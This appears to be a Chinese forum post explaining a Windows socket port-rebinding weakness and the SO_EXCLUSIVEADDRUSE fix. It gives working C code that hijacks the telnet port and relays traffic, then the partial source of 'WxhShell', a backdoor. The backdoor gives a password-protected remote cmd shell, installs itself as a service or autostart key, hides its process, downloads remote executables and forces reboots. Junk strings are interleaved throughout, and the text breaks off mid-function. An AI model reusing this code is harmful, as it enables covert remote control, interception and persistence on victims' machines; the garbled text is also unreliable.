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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $*u{i4b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hx]{'? P!JRIw saddr.sin_family = AF_INET; }ST0?_0F* yv!,iK9 saddr.sin_addr.s_addr = htonl(INADDR_ANY); =>7\s}QZ bC mhlSNi bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aF'9&A;q @$( /6]4p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tR]1c #
Y*cLN`Y7 这意味着什么?意味着可以进行如下的攻击: jSj
(ZU6 ZoiCdXvTN 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1jhGshhp R{"7q:- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $*Q_3]AY] $K,6!FyBa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^5l4D3@E CbA2?( 1o1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 $ZPiM 5 ^\f[} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 QzQTE-SQ NNQro)Lpe 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F; IG@ & t7%!~s=,M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f'\NGL ?=]*r>a3 #include Q(}TN,N #include ~!,Q<? #include <p'~$vK #include 9%?'[jJ DWORD WINAPI ClientThread(LPVOID lpParam); h69: Tj! int main() \c! LC4pE { F H'jP` WORD wVersionRequested; N>fC" DWORD ret; xwH+Q7O&l WSADATA wsaData; SRN:!- BOOL val; !S/hH% C SOCKADDR_IN saddr; RPvOup SOCKADDR_IN scaddr; !@_( W int err; !8|] R SOCKET s; up~l4]b+ SOCKET sc; vYD>m~Qc^ int caddsize; {9<2{$Og HANDLE mt; l.i"Z pik DWORD tid; )y7SkH| wVersionRequested = MAKEWORD( 2, 2 ); AUnRr +o err = WSAStartup( wVersionRequested, &wsaData ); [G/q*a:K if ( err != 0 ) { H].
4~ 8 printf("error!WSAStartup failed!\n"); u_o>v{&i return -1; 6NCa=9 } 6t5)rlT saddr.sin_family = AF_INET; dm Lgt)-t 6/9h=-w& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qr;es,f $
;/Ny)" saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G6zFCgFJ^y saddr.sin_port = htons(23); gz[Ng> D+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [|2uu."$ { @NXGVmY1} printf("error!socket failed!\n"); $J#}3;a return -1; 'nNw } :5@cjj val = TRUE; %>uGzQ61 //SO_REUSEADDR选项就是可以实现端口重绑定的 XbJ=lH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eBTy!! { ^c1I'9(r5 printf("error!setsockopt failed!\n"); <ZJ>jZV0* return -1; i&^?p|eKa } G:.Nq,513 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '[p~|
mX //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3MC| O5R4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lX`)Avqa u pf7:gk + if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {MKq
Yl{ { 2I:vie
ret=GetLastError(); b9(d@2MtK printf("error!bind failed!\n"); Y#c11q Z return -1; %2<chq } &L-y1'i=j listen(s,2); PZO 7eEt8 while(1) q+32|k>) { ~Xnq(}?ok caddsize = sizeof(scaddr); 5cP] //接受连接请求 p;) ;Vm+8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _f,q8ZkSr if(sc!=INVALID_SOCKET) !+ IxPn { CScM;U= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'TV^0D" if(mt==NULL) qkv.,z" { pi5Al)0 printf("Thread Creat Failed!\n"); r{kV*^\E break; tqrvcnQr^ } 5SX0g(C } ,u(g#T CloseHandle(mt); u *z $ I } 1z~;c| closesocket(s); @l&5 |Cia WSACleanup(); %yQ-~T@ return 0; *ZGQ`#1.X6 } x}1(okc DWORD WINAPI ClientThread(LPVOID lpParam) )xP]rOT { ~@z5Ld3xz SOCKET ss = (SOCKET)lpParam; t9m:E SOCKET sc; E[LXZh unsigned char buf[4096]; -z0,IYG } SOCKADDR_IN saddr; [j}%&$ long num; ~SZ0Yu:X DWORD val; n <lU; DWORD ret; wH!]B-hn //如果是隐藏端口应用的话,可以在此处加一些判断 N{P (ym2yR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1_/\{quE saddr.sin_family = AF_INET; D}!U?]la& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {C*mn !u saddr.sin_port = htons(23); (7}v}3/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q-}oe Q { 3Du&KZ printf("error!socket failed!\n"); u!nt0hS return -1; I_#)>%H } UNYU2ze' val = 100; RGLwtN if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KE YM@,' { yN~=3b> ret = GetLastError(); "6pjkEt4 return -1; ;pb~Zk/[,w } 8.jd'yp*J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V* fDvr0 { Dw[w%uz ret = GetLastError(); GFlsI-*` return -1; fQuphMOl6 } KfWVz*DC! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7"*-
>mg { pq-zy6^ printf("error!socket connect failed!\n"); K(6=) closesocket(sc); \s<iM2]Kl closesocket(ss); G~4 ^`[elB return -1; X.Z?Ie } v_5DeaMF' while(1) ?b8NEVjw { 15U=2j*.b //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =q5A@!D //如果是嗅探内容的话,可以再此处进行内容分析和记录 RLulz|jC //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [ Q=)f num = recv(ss,buf,4096,0); Os@ofnC if(num>0) F6Q #{Ufq send(sc,buf,num,0); giaO7Qh~ else if(num==0) 3u{[(W}08 break; qI;k2sQR num = recv(sc,buf,4096,0); {%S1x{U}W- if(num>0) hUA3(!0) send(ss,buf,num,0); C _[jQTr else if(num==0) ,*S?L
qv^ break; 3tIIBOwg[ } 1oX"}YY1 closesocket(ss); z^}T=
$& closesocket(sc); #|$i H kVY return 0 ; Jz:d\M~j5 } s977k2pp- lrq !}\aX 2U|Nkm ========================================================== *GRhZ~U Ju+@ROZ 下边附上一个代码,,WXhSHELL G0]q(.sOy zG&
N5t96X ========================================================== KM0#M'dXy gdCU1D\ #include "stdafx.h" &,$A7: Nob(bD5SpE #include <stdio.h> 8 (.< #include <string.h> #C>pA<YJzK #include <windows.h> 1uXtBk6 #include <winsock2.h> Qr0JJoHT #include <winsvc.h> JxD@y}ZYE #include <urlmon.h> 'Fc&"(!|| X% _~9'#% #pragma comment (lib, "Ws2_32.lib") 3\D jV2t #pragma comment (lib, "urlmon.lib") 5>A3;P iNQk{n #define MAX_USER 100 // 最大客户端连接数 ix!u#7 #define BUF_SOCK 200 // sock buffer 1Kc*MS #define KEY_BUFF 255 // 输入 buffer qM1$?U Iv/yIS #define REBOOT 0 // 重启 `+zr PpX #define SHUTDOWN 1 // 关机
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P P'Y8
t #define DEF_PORT 5000 // 监听端口 @KS:d\l}U &G<ZK9Ot}0 #define REG_LEN 16 // 注册表键长度 jsez$m%vs #define SVC_LEN 80 // NT服务名长度 l0Pg`wH, u:,B"! // 从dll定义API a~XNRAh typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :K8T\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,Y!T!o}1
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~s5Sk#.z5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m,up37-{ %eT/:I // wxhshell配置信息 zNXkdw struct WSCFG { cPS!%?}I int ws_port; // 监听端口 7B&nV92S char ws_passstr[REG_LEN]; // 口令 }qlz^s int ws_autoins; // 安装标记, 1=yes 0=no =e._b 7P char ws_regname[REG_LEN]; // 注册表键名 R [uo:. char ws_svcname[REG_LEN]; // 服务名 ~Kb(`Px@ char ws_svcdisp[SVC_LEN]; // 服务显示名 xc*ys-Nv char ws_svcdesc[SVC_LEN]; // 服务描述信息 s#qq%
@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :'!?dszS int ws_downexe; // 下载执行标记, 1=yes 0=no 0q`'65 lx char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 2RE }l=h5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 le[5a=e( qx!IlO }; &12aI|u^< l0@$]76cX; // default Wxhshell configuration y|lP.N/ struct WSCFG wscfg={DEF_PORT, R
jAeN#,? "xuhuanlingzhe", dR=SW0Oa{ 1, ,bH "Wxhshell", c"QH-sE "Wxhshell", *i$+i "WxhShell Service", Wq>j;\3b3 "Wrsky Windows CmdShell Service", mU\$piei "Please Input Your Password: ", 3IJIeG> 1, uP*>-s'm " http://www.wrsky.com/wxhshell.exe", "?S#vUS+ 2 "Wxhshell.exe" qrOTb9&y }; pxY5S}@ =_,OucKkYG // 消息定义模块 < )?&Jf>_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (wA|lK3 char *msg_ws_prompt="\n\r? for help\n\r#>"; {u5)zVYC,U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 49kY]z|"w char *msg_ws_ext="\n\rExit."; yNN2}\[. char *msg_ws_end="\n\rQuit."; oNEU?+ char *msg_ws_boot="\n\rReboot..."; `o*eL Lk char *msg_ws_poff="\n\rShutdown..."; A!^,QRkRN char *msg_ws_down="\n\rSave to "; YInW)My.h g@EKJFjl char *msg_ws_err="\n\rErr!"; z&t6,0q`5 char *msg_ws_ok="\n\rOK!"; `86b @\q~OyV char ExeFile[MAX_PATH]; <]!IC]+ int nUser = 0; 8vP d~te HANDLE handles[MAX_USER]; U>I#f int OsIsNt; 9B%"7MVn ipyO&v SERVICE_STATUS serviceStatus; #pVk%5N SERVICE_STATUS_HANDLE hServiceStatusHandle; |6;.C1\, |mM7P^I // 函数声明 y-Ol1R3:c# int Install(void); hZJ Nh,,w int Uninstall(void); /3c1{%B\ int DownloadFile(char *sURL, SOCKET wsh); <w:fR|O int Boot(int flag); C<7J5 void HideProc(void); ! TRiFD int GetOsVer(void); B}!n6j` int Wxhshell(SOCKET wsl); 97&6i TYA void TalkWithClient(void *cs); |LjCtm)@+ int CmdShell(SOCKET sock); <T&$1 m{ int StartFromService(void); kO9yei
int StartWxhshell(LPSTR lpCmdLine); CRx:3u!: M,{F/Yu VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :g\qj? o VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9c?izp A lA ,%'+- // 数据结构和表定义 4t+88e SERVICE_TABLE_ENTRY DispatchTable[] = LS_QoS { |zUDu\MZ{ {wscfg.ws_svcname, NTServiceMain}, xFvSQ`sp {NULL, NULL} |Y99s)2&N }; v
EX <9 ]pGr'T~Gj // 自我安装 n/8fv~zU int Install(void) Ln:
y|t { Gs9jX/# char svExeFile[MAX_PATH]; u*U?VZ5 HKEY key; +HcH]D; strcpy(svExeFile,ExeFile); m[7a~-3:J E7D^6G&i // 如果是win9x系统,修改注册表设为自启动 R.fRQ>rI if(!OsIsNt) { . =+7H`A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zZ wD)p?_g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CkflEmfe RegCloseKey(key); #&/*ll) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iN)@Cu7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gmc"3L RegCloseKey(key); yZ P+ return 0; F 4hEfO3 } p;H1,E:Re# } q<UqGj7#
} S
xg Yq else { 0I&rZMpF& "8rP?B( // 如果是NT以上系统,安装为系统服务 kOjq LA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !XicX9n if (schSCManager!=0) 7oWv' { `2Z=Lp SC_HANDLE schService = CreateService 61KJ(
rSX3 ( {.2C>p schSCManager, yQW\0&a$
wscfg.ws_svcname, `=>Bop) wscfg.ws_svcdisp, 1,mf]7k$ SERVICE_ALL_ACCESS, o60wB-y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jw^+t)t SERVICE_AUTO_START, V:+}]"yJ, SERVICE_ERROR_NORMAL, xtnB:3 svExeFile, {u1t.+
NULL, *83+!DV| NULL, 7+fik0F NULL, 1ERz:\ NULL, +g;G*EP7* NULL vB,N6~r> ); 6SmSu\lgV if (schService!=0) FJ!>3V;} { ^1g6(k' CloseServiceHandle(schService); *rbH|o 8 CloseServiceHandle(schSCManager); 8sIGJ|ku strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aR\=p:%jGI strcat(svExeFile,wscfg.ws_svcname); B%t^QbU #\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2#&K3v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (>jME RegCloseKey(key); U8c0C/ return 0; g5"g,SFGr } t (1z+ } (PNvv/A CloseServiceHandle(schSCManager); h%O`,iD2 } '"TBhisky } 99eS@}RC s)L7o)56/ return 1; wVPq1? 9 } LY|h*a6Ym g&za/F // 自我卸载 ;aF / <r int Uninstall(void) `K@
{ eGE,zkj
FY HKEY key; ?e@Ff"Y@e Uarb
[4OZ if(!OsIsNt) { WFB2 Ub7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wm
A:"!~M RegDeleteValue(key,wscfg.ws_regname); x88$#N>Q5 RegCloseKey(key); l|&nGCW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z(]*'0)P RegDeleteValue(key,wscfg.ws_regname); %1 v)rg
y RegCloseKey(key); (;n|>l?* return 0; @M,_mX } Qh *|mW } OUs2)H61 } !At _^hSqz else { X=JSqO6V9 OVd"'|&6_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =thgNMDm" if (schSCManager!=0) tQ)8HVKF { e"bF"L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ NVq
.z if (schService!=0) b2 ),J {
V`%m~#Me if(DeleteService(schService)!=0) { 7e40 }n CloseServiceHandle(schService); `)%eU~ CloseServiceHandle(schSCManager); )rXP2Z return 0; kxdLJ_ } Ve=0_GR0 CloseServiceHandle(schService); :?S2s Ne2 } 2"mO"2d% CloseServiceHandle(schSCManager); /0r2v/0 } #mj+|/0 } H"-p^liw 9+/<[w7 return 1; Hp,r
@ } 2M;{|U mr/^lnO // 从指定url下载文件 1xx-}AIH# int DownloadFile(char *sURL, SOCKET wsh) T.{I~_ { fer'2(G?W HRESULT hr; ]y(#]Tw\ char seps[]= "/"; "16==tLFE char *token; sz)3
z char *file; F;z FKvn char myURL[MAX_PATH]; ?>,aq>2O$ char myFILE[MAX_PATH]; fb#Ob0H {
~Cqb7 strcpy(myURL,sURL); jem$R/4" token=strtok(myURL,seps); |S4yol while(token!=NULL) 3v {GP> { n,0}K+} file=token; 5!5P\o token=strtok(NULL,seps); :hevBBP } k}BNFv8 lP@9%L GetCurrentDirectory(MAX_PATH,myFILE); 9M7{.XR, strcat(myFILE, "\\"); g<,|Q5bK strcat(myFILE, file); ZSbD4
|_ send(wsh,myFILE,strlen(myFILE),0); eag$i.^aS send(wsh,"...",3,0); !WY@)qlf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @z2RMEC~ if(hr==S_OK) 7?A}qmv return 0; <}UqtDF 0 else NZD
X93 return 1; [pOU!9v4 1di?@F2f } }vm17`Gfy nmgW>U0jZh // 系统电源模块 YZoH{p9f int Boot(int flag) FV^kOz {
e%qMrR HANDLE hToken; doe[f_\ TOKEN_PRIVILEGES tkp; bg$e80 ^&,{ if(OsIsNt) { !|`YNsR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `yVJ `}hm LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S>'wb{jj! tkp.PrivilegeCount = 1; qV(Plt% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3rWqt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -m__I U if(flag==REBOOT) { lID5mg31 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [szwPNQ_ return 0; FUHjY } 5[ @4($q8 else { yP"_j&ef7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) is`a_{5e= return 0; ;/YSQt)rc> } Cd(Ov5% } Nl(Aa5:! else { 2 1;n0E if(flag==REBOOT) { $D45X< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ; id return 0; `yxk
Sb } ?n_Y_)9 else { W58\V if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *EDzj& return 0; 8HWY]:|oh } $i3/||T,9 } 9J1&g(?>- U2K>\/ -~ return 1; I=b#tUBh8 } *rqih_j0 Et7AAV*8g // win9x进程隐藏模块 QGsUG_/_P void HideProc(void) GHoPv-# { lk+)-J-lj' ?C4a,% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9aXm} if ( hKernel != NULL ) , X|oCD { 3"<{YEj8U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O[8Lp? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LtNG<n)_BH FreeLibrary(hKernel); ;)o%2#I } mT~:k}u~W \;g{qM 8 return; A]>0lB } @ VJr0 |"ck;.) // 获取操作系统版本 lQ)8zI int GetOsVer(void) K;YK[M1! { =b;v:HC OSVERSIONINFO winfo; c[Y7tj%y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O[-wm;_(=* GetVersionEx(&winfo); ZL@7Mr!e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T$'Ja'9Kj return 1; R(hqBa/V else M>'-P return 0; lv{Qn~\y& } n2TvPt\ ^%C.S : // 客户端句柄模块 []u!piW int Wxhshell(SOCKET wsl) ,. E:mm { 3J@#V ' SOCKET wsh; IoA"e@~t struct sockaddr_in client; ) I@gy DWORD myID; AU)Qk$c &;,w}) while(nUser<MAX_USER) O/Da8#S< { <iL+/^# int nSize=sizeof(client); m-;u]X=a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B-Fu/n if(wsh==INVALID_SOCKET) return 1; ;;UvK
v w8>p[F5`O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cDLS) if(handles[nUser]==0) :JPI#zZun closesocket(wsh); rs!J<CRq else Prr<:q nUser++; a-O9[?G/x } \ar.(J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); koaH31Q ZfMJU return 0; F[Peil+|` } fv)-o&Q# B<_T"n'#b // 关闭 socket 4R^'+hy|? void CloseIt(SOCKET wsh) kigc+R { qk<tLvD_' closesocket(wsh); Th@L68 nUser--; ~Fisno ExitThread(0); Ei}B9 &O } jz/@Zg", "j~=YW+l // 客户端请求句柄 ^2Op?J void TalkWithClient(void *cs) )D(XDN { AEEy49e |f`!{=? SOCKET wsh=(SOCKET)cs; I_N"mnn@Nr char pwd[SVC_LEN]; lOYwYMi char cmd[KEY_BUFF]; G!%1<SLi. char chr[1]; vsLn@k3 int i,j; /I: d<A ~!Onz wmO while (nUser < MAX_USER) { ^${-^w@,%V 011 _(v if(wscfg.ws_passstr) { O4(
Z%YBe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <y~`J`- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lt=#tu&d //ZeroMemory(pwd,KEY_BUFF); Cm>8r5LG i=0; U<o,`y[Tn while(i<SVC_LEN) { 00<iv"8 ,]Hn*\@p[c // 设置超时 l6)*u[}E fd_set FdRead; i1u &-#k struct timeval TimeOut; d(R3![: FD_ZERO(&FdRead); K2)),_,@5+ FD_SET(wsh,&FdRead); [|uAfp5R TimeOut.tv_sec=8; u:fiil$ TimeOut.tv_usec=0; C9({7[k^% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hX~IZ((Hi8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #y2="$V UB?a-jGZK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :aco$ZNH5 pwd =chr[0]; Qp%kX@Z' if(chr[0]==0xd || chr[0]==0xa) { Y#C=ku pwd=0; Z'!jZF~4p break; ]Kil/Y } H6*F?a`)I i++; ;J2=6np } ^'[Rb!Q8 `P"-9Ue= // 如果是非法用户,关闭 socket R (4 :_ xc if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Pu\KRU } |PTL!>ym2 /q(+r5k \ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ge|caiH1I send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yQ6{-:`) 9/q4]%` while(1) { ]Jm9D= =suj3.
ZeroMemory(cmd,KEY_BUFF); _ ?=bW q'{E $V)E // 自动支持客户端 telnet标准 tUL(1:-C j=0; pSay^9ZI while(j<KEY_BUFF) { ^yjc"r%B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &!Y^DR/ cmd[j]=chr[0]; ~99Ta]U if(chr[0]==0xa || chr[0]==0xd) { 4*d_2:|u cmd[j]=0; hDzKB))<w break; sd.:PE < } ,SS@]9A& j++; ow%s_yV]R } F5{~2~Cw( 8`9!ocrM // 下载文件 L 'H1\'
o if(strstr(cmd,"http://")) { swe6AQ- send(wsh,msg_ws_down,strlen(msg_ws_down),0);
X1y1 if(DownloadFile(cmd,wsh)) W<v?D6dFq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0M-Zp[w\- else M
HlP)' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (9@6M8A } 1% EIP-z else { a!xKS8-S== ogDyrY}]
switch(cmd[0]) { OZ$u&>916 xOPSw|!w // 帮助 A0o6-M]'0 case '?': { y}nM'$p send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S\s1}`pNm break; ]p@7[8} } o+q4Vg9& // 安装 x^9W< case 'i': { fHR1kuy if(Install()) N]} L*o& send(wsh,msg_ws_err,strlen(msg_ws_err),0); h`?0=:Tru else x-(?^g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,$7LMTVDrE break; e2k!5OS } _sJp"4? // 卸载 $Ob]JAf} case 'r': { 9e1gjC\ c if(Uninstall()) 6HFA2~A send(wsh,msg_ws_err,strlen(msg_ws_err),0); XOVZ'V else J(g!>Sp!p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); axonqSf break; }a|SgI } OJQ7nChMm // 显示 wxhshell 所在路径 noGMfZ1 case 'p': { E^T/Qu char svExeFile[MAX_PATH]; U/wY;7{)# strcpy(svExeFile,"\n\r"); dV.)+X7< strcat(svExeFile,ExeFile); [}}oHm3& send(wsh,svExeFile,strlen(svExeFile),0); \D>' break; U7bG(?k) } el5F>) // 重启 E}.cz\!. case 'b': { ;m@>v?zE send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X
NnsMl if(Boot(REBOOT)) **dGK_^T0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nbuaw[[iz else { h9&<-k closesocket(wsh); 0XvMaQXQF ExitThread(0); a(BWV?A } J rYpZ.Nh break; $bD 3 } ;x|4Tm // 关机
Js'COO case 'd': { l?Bv9k.^? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?(;ygjyx if(Boot(SHUTDOWN)) .ikFqZ$$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); pjrVPi5&t else { w~&bpCB! closesocket(wsh); Kx ?}%@b ExitThread(0); ] l}8 } hRtnO|Z6 break; L'z;*N3D } 6EP5n // 获取shell qA
Jgz7=c case 's': { =DGaK0n CmdShell(wsh); ]'DtuT?Z closesocket(wsh); 0'c<EJ ExitThread(0); =HYMX"s break; d\'M ~VQ } rS{Rzs^@ // 退出 nRb#M case 'x': { FV! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 64hr|v CloseIt(wsh); @fPiGu`L break; 2p(K0PtX } OBF5Tl4 // 离开 T->O5t c case 'q': { Y&]pC send(wsh,msg_ws_end,strlen(msg_ws_end),0); AbcmI*y closesocket(wsh); ,Es5PmV@$% WSACleanup(); I]jVnQ>& exit(1); bmzs!fg_~R break; ~KHp~Xs` } J[RQF54qA{ } WVf;uob{ } F~)xZN3= !N?|[n1 // 提示信息 `b# w3 2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zb<DgJ=3 } //_v"dqP{) } \7jcZ~FBX% &z&Jl#t-) return; y85GKysT } &*T57tE s
<Ag8U8 // shell模块句柄 oC^-" (# int CmdShell(SOCKET sock) rM_8piD { ^mkplp
a STARTUPINFO si; y=G ZeroMemory(&si,sizeof(si)); |!flR? OU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wNcf7/ky si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 11%^K=dq PROCESS_INFORMATION ProcessInfo; $ [M8G char cmdline[]="cmd"; Cf@WjgR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <?2[]h:wp return 0; s{Ryh.IyI } 0Eo*C9FP~ 57%:0loW // 自身启动模式 wvBJ?t, int StartFromService(void) 7f~.Qus { Q~ te` typedef struct uRxo,.}c { RVlC8uJ;P DWORD ExitStatus; Mpb|qGi! DWORD PebBaseAddress; mWfzL'* DWORD AffinityMask; xud =(HLl DWORD BasePriority; f.,S-1D]h ULONG UniqueProcessId; ppmDmi~X ULONG InheritedFromUniqueProcessId; `hY%<L sI } PROCESS_BASIC_INFORMATION; dHg[0Br)r f* p=]]y PROCNTQSIP NtQueryInformationProcess; <Mxy&9}ic `:R8~>p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gX.4I; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Q/xBC) JY4 +MApN HANDLE hProcess; QE m6#y PROCESS_BASIC_INFORMATION pbi; Z_ak4C ?.,..p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
LmseY(i
N if(NULL == hInst ) return 0; F3;UH%L1 :
